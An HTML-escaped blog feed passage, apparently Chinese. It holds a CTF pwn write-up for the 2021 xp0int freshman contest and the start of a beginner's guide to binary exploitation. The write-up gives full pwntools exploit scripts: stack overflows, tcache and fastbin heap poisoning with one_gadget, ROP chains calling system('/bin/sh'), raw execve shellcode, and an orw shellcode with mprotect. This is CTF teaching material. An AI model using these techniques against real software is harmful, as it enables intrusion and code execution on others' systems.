&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在_config.pug加入如下属性&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gitalk:
  enable: false
  clientID: &quot;&quot;
  clientSecret: &quot;&quot;
  repo: &quot;&quot;
  owner: &quot;&quot;
  admin: &quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根据gitalk设置好github application就可以啦&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://segmentfault.com/a/1190000018072952&quot;&gt;Gitalk评论插件使用教程 - SegmentFault 思否&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>2021xp0int杯新生赛 Pwn wp</title><link>https://blog.csome.cc/p/xp0intCTF-wp/</link><guid isPermaLink="true">https://blog.csome.cc/p/xp0intCTF-wp/</guid><pubDate>Mon, 13 Dec 2021 23:52:05 GMT</pubDate><content:encoded>&lt;h1&gt;div_overflow&lt;/h1&gt;
&lt;h2&gt;分析&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126202845219.png&quot; alt=&quot;image-20211126202845219&quot; /&gt;&lt;/p&gt;
&lt;p&gt;没开canary和PIE&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126203002459.png&quot; alt=&quot;image-20211126203002459&quot; /&gt;&lt;/p&gt;
&lt;p&gt;init()函数发现有一个signal绑定，&lt;/p&gt;
&lt;p&gt;百度&lt;a href=&quot;https://www.runoob.com/cprogramming/c-function-signal.html&quot;&gt;C 库函数 – signal() | 菜鸟教程 (runoob.com)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126203057998.png&quot; alt=&quot;image-20211126203057998&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126203140394.png&quot; alt=&quot;image-20211126203140394&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看glibc源码可以发现，这个是将除零溢出错误信号绑定到backdoor函数上了（就是说触发这个信号，不会报错会直接跳转到对应函数运行）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126203309494.png&quot; alt=&quot;image-20211126203309494&quot; /&gt;&lt;/p&gt;
&lt;p&gt;backdoor函数发现栈溢出漏洞&lt;/p&gt;
&lt;h2&gt;SIGFPE信号的触发&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126203459270.png&quot; alt=&quot;image-20211126203459270&quot; /&gt;&lt;/p&gt;
&lt;p&gt;main函数过程中有一个除法运算，但需要v4不为0才能进入，那么就不能构造1/0的形式&lt;/p&gt;
&lt;p&gt;由于计算机采用的是补码的表示方法，32位机器位可以表示的有符号整数范围为-2147483648~2,147,483,647&lt;/p&gt;
&lt;p&gt;发现构造-2147483648/-1=2147483648，会发生除法溢出，从而进入backdoor&lt;/p&gt;
&lt;h2&gt;Exp&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

io = process(&apos;./div_overflow&apos;)
# io = remote(&apos;35.229.138.83&apos;,14056)

io.sendline(&apos;-2147483648&apos;)
io.sendline(&apos;-1&apos;)

shell = 0x0004007C8

io.recvuntil(&apos;Hero, please leave your name :&apos;)
p = &apos;a&apos; * 0x58 + p64(shell)
io.sendline(p)

io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;guess&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126224124359.png&quot; alt=&quot;image-20211126224124359&quot; /&gt;&lt;/p&gt;
&lt;p&gt;没有开NX，存在shellcode执行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126224156281.png&quot; alt=&quot;image-20211126224156281&quot; /&gt;&lt;/p&gt;
&lt;p&gt;main函数调用game()，game()是主要逻辑，大概意思就是需要预测随机数，首先会使用时间播种&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126224322214.png&quot; alt=&quot;image-20211126224322214&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后随机生成16个字符，并存入s中&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126224354047.png&quot; alt=&quot;image-20211126224354047&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后需要我们输入16字符和s进行校验，校验成功就可以进入good()函数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126224423086.png&quot; alt=&quot;image-20211126224423086&quot; /&gt;&lt;/p&gt;
&lt;p&gt;IDA分析good()函数的时候报错，只能看汇编了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126224821861.png&quot; alt=&quot;image-20211126224821861&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一通分析下来good函数就是shellcode后门，这样思路就很明确了，只需要预测随机数+shellcode&lt;/p&gt;
&lt;h2&gt;预测随机数&lt;/h2&gt;
&lt;p&gt;从Tover那里学来的方法，在本地写一个C程序&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main() {
    int seed;
    setbuf(stdin ,0);
    setbuf(stdout, 0);
    while (1)
    {
        printf(&quot;seed&amp;gt;&quot;);
        scanf(&quot;%d&quot;, &amp;amp;seed);
        srand(seed);
        printf(&quot;ans&amp;gt;&quot;);
        for(int i = 0; i &amp;lt; 16; ++i) {
            printf(&quot;%d &quot;, rand() % 255);
        } 
        printf(&quot;\n&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后在服务器运行的同时运行此程序，这样就可以设置相同的seed，自然随机出来的数据就是相同的&lt;/p&gt;
&lt;p&gt;shelldoe&lt;/p&gt;
&lt;h2&gt;Exp&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.log_level=&apos;debug&apos;
rd = process(&apos;./rd&apos;)
# io = process(&apos;./guess&apos;)
io = remote(&apos;35.229.138.83&apos;, 16134)

def randchar(seed):
    rd.recvuntil(&apos;seed&amp;gt;&apos;)
    rd.sendline(str(seed))
    rd.recvuntil(&apos;ans&amp;gt;&apos;)
    arr = rd.recvuntil(&apos; \n&apos;, drop=True).split(&apos; &apos;)
    arr = list(map(int, arr))
    arr = &apos;&apos;.join(map(chr, arr))
    return arr

# print randchar(123456)  
io.sendlineafter(&apos;May I have your name : &apos;, &apos;asdfg&apos;)
io.recvuntil(&apos;Branch hat : Now I tell you the essence of this spell is &apos;)
inp = int(io.recvuntil(&apos;\n&apos;, drop=True))
print inp
p = randchar(inp)
io.sendafter(&apos;Please enter the spell you understand : &apos;, p)

p = &apos;\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05&apos;
io.recvuntil(&apos;loud&apos;)
io.sendline(p)

io.interactive()

&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;H.E.A.P&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126233747324.png&quot; alt=&quot;image-20211126233747324&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126233759571.png&quot; alt=&quot;image-20211126233759571&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126233841835.png&quot; alt=&quot;image-20211126233841835&quot; /&gt;&lt;/p&gt;
&lt;p&gt;堆题，libc版本2.27存在tcache bin&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126233920786.png&quot; alt=&quot;image-20211126233920786&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现漏洞，free之后没有将指针清空，利用之后可以任意地址写&lt;/p&gt;
&lt;h2&gt;Exp&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.log_level=&apos;debug&apos;
io = remote(&apos;35.229.138.83&apos;, 11009)
# io = process([&apos;./ld-2.27.so&apos;, &apos;./chall&apos;], env={&apos;LD_PRELOAD&apos;:&apos;./libc-2.27.so&apos;})
libc = ELF(&apos;./libc-2.27.so&apos;)

def add(idx, size):
    io.sendlineafter(&apos;Your choice &amp;gt;&amp;gt; &apos;, &apos;1&apos;)
    io.sendlineafter(&apos;Index: &apos;, str(idx))
    io.sendlineafter(&apos;Size: &apos;, str(size))

def free(idx):
    io.sendlineafter(&apos;Your choice &amp;gt;&amp;gt; &apos;, &apos;2&apos;)
    io.sendlineafter(&apos;Index: &apos;, str(idx))

def show(idx):
    io.sendlineafter(&apos;Your choice &amp;gt;&amp;gt; &apos;, &apos;3&apos;)
    io.sendlineafter(&apos;Index: &apos;, str(idx))
    
def edit(idx, content):
    io.sendlineafter(&apos;Your choice &amp;gt;&amp;gt; &apos;, &apos;4&apos;)
    io.sendlineafter(&apos;Index: &apos;, str(idx))
    io.sendlineafter(&apos;Content: &apos;, content)

main_arena = 0x000003EBC40 
for i in range(8):
    add(i, 0x90)
add(8, 0x90)

for i in range(8):
    free(7-i)


show(0) # 泄露main_arana地址
io.recvuntil(&apos;Content: &apos;)
inp = u64(io.recvuntil(&apos;\n&apos;, drop=True).ljust(8,&apos;\0&apos;))
libc_base = inp-96-main_arena
print hex(libc_base)

ogg = [0x4f3d5,0x4f432,0x10a41c] # one gadget
edit(1, p64(libc_base + libc.sym[&apos;__free_hook&apos;])) # 修改fd指针为__free_hook地址
add(10, 0x90)
add(11, 0x90) # 11号堆块在__free_hook位置
edit(11, p64(ogg[1]+libc_base)) # 在__free_hook位置写入one gadget
# gdb.attach(io)
# add(12, 0x90)
free(0) # 除法free函数，执行ogg

io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;具体利用方法见&lt;a href=&quot;https://blog.csdn.net/A951860555/article/details/115442780?utm_medium=distribute.pc_relevant.none-task-blog-2~default~CTRLIST~default-1.no_search_link&amp;amp;depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~CTRLIST~default-1.no_search_link&quot;&gt;CTF pwn题堆入门 -- Tcache bin_lifanxin的博客-CSDN博客&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;BasicMath&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126234339793.png&quot; alt=&quot;image-20211126234339793&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126234403168.png&quot; alt=&quot;image-20211126234403168&quot; /&gt;&lt;/p&gt;
&lt;p&gt;又有随机数，但这一次需要预测，直接利用python eval()计算结果就行，注意到有16个问题，当i==15是，会进入last_problem函数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126234530108.png&quot; alt=&quot;image-20211126234530108&quot; /&gt;&lt;/p&gt;
&lt;p&gt;貌似没有什么问题&lt;/p&gt;
&lt;p&gt;再仔细观察就会发现，readint返回的是64位有符号整型数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126234625584.png&quot; alt=&quot;image-20211126234625584&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但进行校验的时候，取得是v5得高32位字节判断，所以只需要最后一次输入的数比较大就行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126234633993.png&quot; alt=&quot;image-20211126234633993&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后就是进入gift函数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126235123293.png&quot; alt=&quot;image-20211126235123293&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现有leak和溢出漏洞&lt;/p&gt;
&lt;h2&gt;Exp&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.log_level=&apos;debug&apos;
io = remote(&apos;35.229.138.83&apos;,10874)
# io = process([&apos;./ld-2.27.so&apos;,&apos;./chall&apos;], env={&quot;LD_PRELOAD&quot;: &apos;./libc-2.27.so&apos;})
libc = ELF(&apos;./libc-2.27.so&apos;)

for i in range(15):
    io.recvuntil(&apos;]&apos;)
    inp = io.recvuntil(&apos; = ?&apos;, drop=True)
    ans = eval(inp)
    io.sendline(str(ans))

io.recvuntil(&apos; = ?&apos;)
io.sendline(&apos;11111111111111&apos;)
ogg = [0x4f3d5,0x4f432,0x10a41c]

# gdb.attach(io)
print io.recv(8)
canary = u64(io.recv(8).ljust(8, &apos;\0&apos;)) # 泄露canary
stack = u64(io.recv(8).ljust(8, &apos;\0&apos;)) # 泄露栈地址
func_base = u64(io.recv(8).ljust(8, &apos;\0&apos;)) - 0x000000000000168A # 泄露函数加载地址
io.recv(8 * 5)
libc_base = u64(io.recv(8).ljust(8, &apos;\0&apos;)) - 231 - libc.sym[&apos;__libc_start_main&apos;] # 泄露libc基址
print hex(canary)
print hex(func_base)
print hex(libc_base)
pop_rdi = 0x00000001713 + func_base
libc.address = libc_base

p = p64(canary) + p64(0) + p64(pop_rdi+1) + p64(pop_rdi) + p64(stack) + p64(libc.sym[&apos;system&apos;]) + p64(0xdeadbeaf) + &apos;/bin/sh\0&apos;
io.send(p)

io.interactive()
    
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;easyheap&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126235844561.png&quot; alt=&quot;image-20211126235844561&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126235859619.png&quot; alt=&quot;image-20211126235859619&quot; /&gt;&lt;/p&gt;
&lt;p&gt;又是堆题，libc版本2.23没有tcache&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126235945221.png&quot; alt=&quot;image-20211126235945221&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211126235953460.png&quot; alt=&quot;image-20211126235953460&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211127000000431.png&quot; alt=&quot;image-20211127000000431&quot; /&gt;&lt;/p&gt;
&lt;p&gt;似曾相识的tea，这个题目构造貌似在那里见过？（难道是那个某省的第一届攻防大赛？）&lt;/p&gt;
&lt;h2&gt;tea解密&lt;/h2&gt;
&lt;p&gt;本地写一个c10udlnk教我的tea解密脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
void decrypt (uint32_t* v, uint32_t* k, uint32_t delta) {
    uint32_t v0=v[0], v1=v[1], sum=delta*32, i;  /* set up */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i&amp;lt;32; i++) {                         /* basic cycle start */
        v1 -= ((v0&amp;lt;&amp;lt;4) + k2) ^ (v0 + sum) ^ ((v0&amp;gt;&amp;gt;5) + k3);
        v0 -= ((v1&amp;lt;&amp;lt;4) + k0) ^ (v1 + sum) ^ ((v1&amp;gt;&amp;gt;5) + k1);
        sum -= delta;
    }                                              /* end cycle */
    v[0]=v0; 
    v[1]=v1;
}

int main()
{
    uint32_t c[2] = {0};
    uint32_t k[4];
    uint32_t del;
    memcpy((char*)k, &quot;ggslggyzgghysdyy&quot;, sizeof(k));

    scanf(&quot;%x %x %u&quot;, &amp;amp;c[0], &amp;amp;c[1], &amp;amp;del);
    decrypt(c, k, del);
    printf(&quot;%x %x\n&quot;, c[0], c[1]);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;double free&lt;/h2&gt;
&lt;p&gt;free函数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211127000428499.png&quot; alt=&quot;image-20211127000428499&quot; /&gt;&lt;/p&gt;
&lt;p&gt;清零过程&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211127000437945.png&quot; alt=&quot;image-20211127000437945&quot; /&gt;&lt;/p&gt;
&lt;p&gt;会发现第15个块，会被free但不会清零&lt;/p&gt;
&lt;p&gt;之后就是fastbin的double free攻击&lt;/p&gt;
&lt;h2&gt;Exp&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
context.log_level = &apos;debug&apos;

def tea(c1, c2, de):
    c1 = hex(c1)
    c2 = hex(c2)
    teaio = process(&apos;./tea&apos;)
    teaio.sendline(c1 + &apos; &apos; + c2 + &apos; &apos; + str(de))
    r = teaio.recvuntil(&apos;\n&apos;, drop=True).split(&apos; &apos;)
    return int(r[0], 16), int(r[1], 16)

io = remote(&apos;35.229.138.83&apos;,11967)
# io = process([&apos;./ld-2.23.so&apos;,&apos;./pwn&apos;], env={&apos;LD_PRELOAD&apos;:&apos;./libc.so&apos;})
libc = ELF(&apos;./libc.so&apos;)

io.recvuntil(&apos;Your secret key: &apos;)
d = int(io.recvuntil(&apos;\n&apos;, drop=True))
io.recvuntil(&apos;My gift: &apos;)
s = io.recvuntil(&apos;\n&apos;).split(&apos;,&apos;)
cc0, cc1 = int(s[0], 16), int(s[1], 16)
p0, p1 = tea(cc0, cc1, d)
io.recvuntil(&apos;Your gift: &apos;)
io.sendline(str(p0) + &apos;,&apos; + str(p1))

def add(idx, size, content):
    io.sendlineafter(&apos;choice &amp;gt;&amp;gt;&apos;, &apos;1&apos;)
    io.sendlineafter(&apos;id: &apos;, str(idx))
    io.sendlineafter(&apos;size: &apos;, str(size))
    io.sendlineafter(&apos;content: &apos;, content)

def free():
    io.sendlineafter(&apos;choice &amp;gt;&amp;gt;&apos;, &apos;2&apos;)

def show():
    io.sendlineafter(&apos;choice &amp;gt;&amp;gt;&apos;, &apos;1638&apos;)
    io.recvuntil(&apos;Your gift: &apos;)
    return int(io.recvuntil(&apos;\n&apos;, drop=True), 16)

ogg = [0x45226,0x4527a,0xf03a4,0xf1247]
libc.address = show() - libc.sym[&apos;puts&apos;]
print hex(libc.address)

add(15, 0x60, &apos;aaa&apos;)
free()
add(13, 0x60, &apos;aaa&apos;) # 13位置地址 == 15位置地址
add(14, 0x60, &apos;aaa&apos;) # 中间有一个绕过double free检查
free()
add(0, 0x60, p64(libc.sym[&apos;__malloc_hook&apos;]-0x23))
add(1, 0x60, &apos;aaaa&apos;)
add(2, 0x60, &apos;aaaa&apos;)
add(3, 0x68, &apos;\0&apos;*19 + p64(libc.address + ogg[3]))
# gdb.attach(io)
io.sendlineafter(&apos;choice &amp;gt;&amp;gt;&apos;, &apos;1&apos;)
io.sendlineafter(&apos;id: &apos;, &apos;4&apos;)
io.sendlineafter(&apos;size: &apos;, &apos;20&apos;)
# free()

io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;fastbin double free利用方法见&lt;a href=&quot;https://blog.csdn.net/A951860555/article/details/115496056&quot;&gt;CTF pwn题堆入门 -- Fast bin_lifanxin的博客-CSDN博客&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;gift&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211127000816797.png&quot; alt=&quot;image-20211127000816797&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211127000919468.png&quot; alt=&quot;image-20211127000919468&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现沙盒使用seccomp-tools，查看发现execve函数被禁用了，也就是说不能调用system、shellcode getshell这些getshell，解决方法orw（open、read、write），原理就是open打开本地文件，read读取进入内存，write打印到屏幕&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211127000958031.png&quot; alt=&quot;image-20211127000958031&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211127001150997.png&quot; alt=&quot;image-20211127001150997&quot; /&gt;&lt;/p&gt;
&lt;p&gt;gift函数发现有一个格式化字符串漏洞，可以泄露栈地址、libc地址和函数加载地址&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211127001405741.png&quot; alt=&quot;image-20211127001405741&quot; /&gt;&lt;/p&gt;
&lt;p&gt;main函数发现有一个栈溢出的漏洞，但只能覆盖返回地址，不能直接构造ROP，但发现name在bss段，可以先在name函数中布置rop，然后利用两次leave;retn劫持rsp，实现栈迁移到bss，执行在name中构造的rop&lt;/p&gt;
&lt;h2&gt;ROP&lt;/h2&gt;
&lt;p&gt;rop思路首先需要实现orw，需要编写shellcode&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sc = asm(shellcraft.open(&apos;./flag&apos;))
sc += asm(shellcraft.read(3, 0x00002020cf + elf.address, 0x30))
sc += asm(shellcraft.write(1, 0x00002020cf + elf.address, 0x30))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后需要调用libc中的mprotect函数，将bss段权限改为可读可写可执行，最后跳转到shellcode上&lt;/p&gt;
&lt;h2&gt;Exp&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.log_level=&apos;debug&apos;

context(arch=&apos;amd64&apos;)
io = remote(&apos;35.229.138.83&apos;, 13789)
# io = process([&apos;./ld-2.27.so&apos;,&apos;./gift&apos;], env={&quot;LD_PRELOAD&quot;: &apos;./libc-2.27.so&apos;})
libc = ELF(&apos;./libc-2.27.so&apos;)
elf = ELF(&apos;./gift&apos;)
name = 0x0000000202060

# gdb.attach(io)
io.recvuntil(&apos;this the gift for you.\n&apos;)
io.send(&apos;%9$p-%19$p-%11$p&apos;)

io.recvuntil(&apos;0x&apos;)
canary = int(io.recvuntil(&apos;-&apos;, drop=True), 16)


start_main = int(io.recvuntil(&apos;-&apos;, drop=True), 16)
libc_base = start_main - 231 - libc.sym[&apos;__libc_start_main&apos;]
print hex(libc_base)
libc.address = libc_base

inp = int(io.recv(14), 16)
print hex(inp)
elf.address = inp - 0x000000B78 - 43
print hex(elf.address)

pop_rdi = elf.address + 0x000000000000C73
pop_rsi = libc_base + 0x0000000000023eea
pop_rdx = libc_base + 0x0000000000001b96
print hex(pop_rdi)
print hex(pop_rsi)
print hex(pop_rdx)
print hex(libc.sym[&apos;system&apos;])

sc = asm(shellcraft.open(&apos;./flag&apos;)) # open(&quot;./flag&quot;)
sc += asm(shellcraft.read(3, 0x00002020cf + elf.address, 0x30)) # read(3, buf, 0x30)
sc += asm(shellcraft.write(1, 0x00002020cf + elf.address, 0x30)) # write(1, buf, 0x30)
print len(sc)
print sc
print libc.sym[&apos;mprotect&apos;]

p = sc
p += p64(0) + p64(pop_rdx) + p64(0x7) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdi) + p64((elf.address + name) &amp;amp; 0xffffffffff000) + p64(libc.sym[&apos;mprotect&apos;]) + p64(elf.address + name)
print len(p)
io.sendlineafter(&apos;please input your name:\n&apos;, p)

# gdb.attach(io)
p = &apos;a&apos; * (0x30 - 8) + p64(canary) + p64(elf.address + name + len(sc)) + p64(elf.address + 0x0000000C00)
io.recvuntil(&apos;what do you want to say?\n&apos;)
io.send(p)


io.interactive()
# flag{gO
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;babystack&lt;/h1&gt;
&lt;p&gt;异构pwn耶！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211127002135923.png&quot; alt=&quot;image-20211127002135923&quot; /&gt;&lt;/p&gt;
&lt;p&gt;保护全关&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211127002336060.png&quot; alt=&quot;image-20211127002336060&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现有一个格式化字符串漏洞，可以泄露栈地址&lt;/p&gt;
&lt;p&gt;查阅一番资料，并看汇编发现，arm架构下PC也会存放在栈上，动态调试一番就可以算到偏移量&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xp0intCTF-wp/image-20211127002833507.png&quot; alt=&quot;image-20211127002833507&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后再v6中编写shellcode，并跳转执行即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

# io = process([&apos;qemu-arm&apos;,&apos;-g&apos;,&apos;1234&apos;,&apos;./pwn&apos;])
# io = process([&apos;qemu-arm&apos;,&apos;./pwn&apos;])
io = remote(&apos;35.229.138.83&apos;, 10008)

# gdb.attach(io)
io.recvuntil(&apos;I am a repeater without any emotion.\n&apos;)
io.send(&apos;%1$p&apos;)
stack = int(io.recvuntil(&apos;Do you have any questions?&apos;, drop=True), 16)
print hex(stack)

context(arch=&apos;arm&apos;)
p = &apos;a&apos; * 8 + p32(stack + 0x4 * 3) + asm(shellcraft.sh())
io.sendline(p)

io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;by Csome&lt;/h1&gt;
&lt;p&gt;!!!暨南大学xp0int杯wp收集截止前禁止发送给暨南大学的同学，产生的后果由转发者承担!!!&lt;/p&gt;
</content:encoded></item><item><title>Pwn从0到0.00001</title><link>https://blog.csome.cc/p/Pwn-zero2something/</link><guid isPermaLink="true">https://blog.csome.cc/p/Pwn-zero2something/</guid><pubDate>Mon, 13 Dec 2021 15:47:18 GMT</pubDate><content:encoded>&lt;h1&gt;Pwn的简介&lt;/h1&gt;
&lt;p&gt;Pwn是CTF方向中的一种，主要是利用二进制漏洞从而获得getShell(提权)，即获得对方系统权限，从而控制对方电脑。
Pwn是一个黑客语法的俚语词，自&quot;own&quot;这个字引申出来的，这个词的含意在于，玩家在整个游戏对战中处在胜利的优势，或是说明竞争对手处在完全惨败的 情形下，这个词习惯上在网络游戏文化主要用于嘲笑竞争对手在整个游戏对战中已经完全被击败（例如：&quot;You just got pwned!&quot;）。&lt;/p&gt;
&lt;p&gt;名词储备：writeup（指CTF中解题思路过程的文档），exp（exploit，指漏洞利用程序），栈，汇编，Linux等&lt;/p&gt;
&lt;h1&gt;Pwn的理论工具准备&lt;/h1&gt;
&lt;h3&gt;初学&lt;/h3&gt;
&lt;h5&gt;工具&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;Python 2.x 至于为什么不用python3后面会讲到&lt;/li&gt;
&lt;li&gt;Linux Windows用户推荐wsl2或虚拟机，MacOS不太清楚&lt;/li&gt;
&lt;li&gt;IDA pro 一个逆向分析工具&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.pwntools.com/en/latest/install.html&quot;&gt;Pwntools&lt;/a&gt; 一个漏洞利用框架工具&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.csdn.net/qq_43430261/article/details/105516051&quot;&gt;checksec&lt;/a&gt; ELF保护分析工具&lt;/li&gt;
&lt;/ol&gt;
&lt;h5&gt;储备知识&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;C语言&lt;/li&gt;
&lt;li&gt;基础Python2语言，及库的用法&lt;/li&gt;
&lt;li&gt;源/伪代码阅读和BUG漏洞寻找能力&lt;/li&gt;
&lt;li&gt;基础Linux命令&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;以上可以进行简单的栈溢出的学习&lt;/p&gt;
&lt;h3&gt;入门&lt;/h3&gt;
&lt;h5&gt;工具&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/pwndbg/pwndbg&quot;&gt;pwndbg&lt;/a&gt; gdb动态调试插件&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/lieanu/LibcSearcher&quot;&gt;Libcsearcher&lt;/a&gt; 集成libc查找工具&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/david942j/one_gadget&quot;&gt;one_gadget&lt;/a&gt; 一句话提权指令搜索工具&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.csdn.net/weixin_30414635/article/details/98030954&quot;&gt;ROPgadget&lt;/a&gt; rop指令流搜索&lt;/li&gt;
&lt;/ol&gt;
&lt;h5&gt;储备知识&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;C/C++语言&lt;/li&gt;
&lt;li&gt;基础Python2语言，及库的用法&lt;/li&gt;
&lt;li&gt;ELF文件结构&lt;/li&gt;
&lt;li&gt;深度理解计算机系统（CSAPP）初步&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;加上以上的可以更方便的学习进阶栈溢出、堆利用等知识&lt;/p&gt;
&lt;h1&gt;Pwn的学习&lt;/h1&gt;
&lt;h3&gt;初学-从Writeup中学习&lt;/h3&gt;
&lt;p&gt;网站推荐&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://adworld.xctf.org.cn/task?now_checked_num=2&amp;amp;name=pwn&quot;&gt;Xctf攻防世界&lt;/a&gt; 站内内置writeup，但最近pwn环境无法分发&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ctf.bugku.com/challenges/index/gid/1/tid/8.html&quot;&gt;Bugku&lt;/a&gt; pwn环境可以分发，但需要自行查找writeup，题量少&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://buuoj.cn/&quot;&gt;buuctf&lt;/a&gt; pwn环境可以分发，有N1BOOK配套习题（但好像环境坏了？），比赛真题，题量大，但需要自行查找writeup&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;入门-从比赛中学习&lt;/h3&gt;
&lt;p&gt;参加比赛，利用比赛同时练习技术，这样可以更好的抓住比赛的中pwn的热点，也可以培养随机应变的能力。&lt;/p&gt;
&lt;h1&gt;Pwn的环境准备&lt;/h1&gt;
&lt;p&gt;由于没有尝试过MacOS上pwn
所以只有Windows的教程&lt;/p&gt;
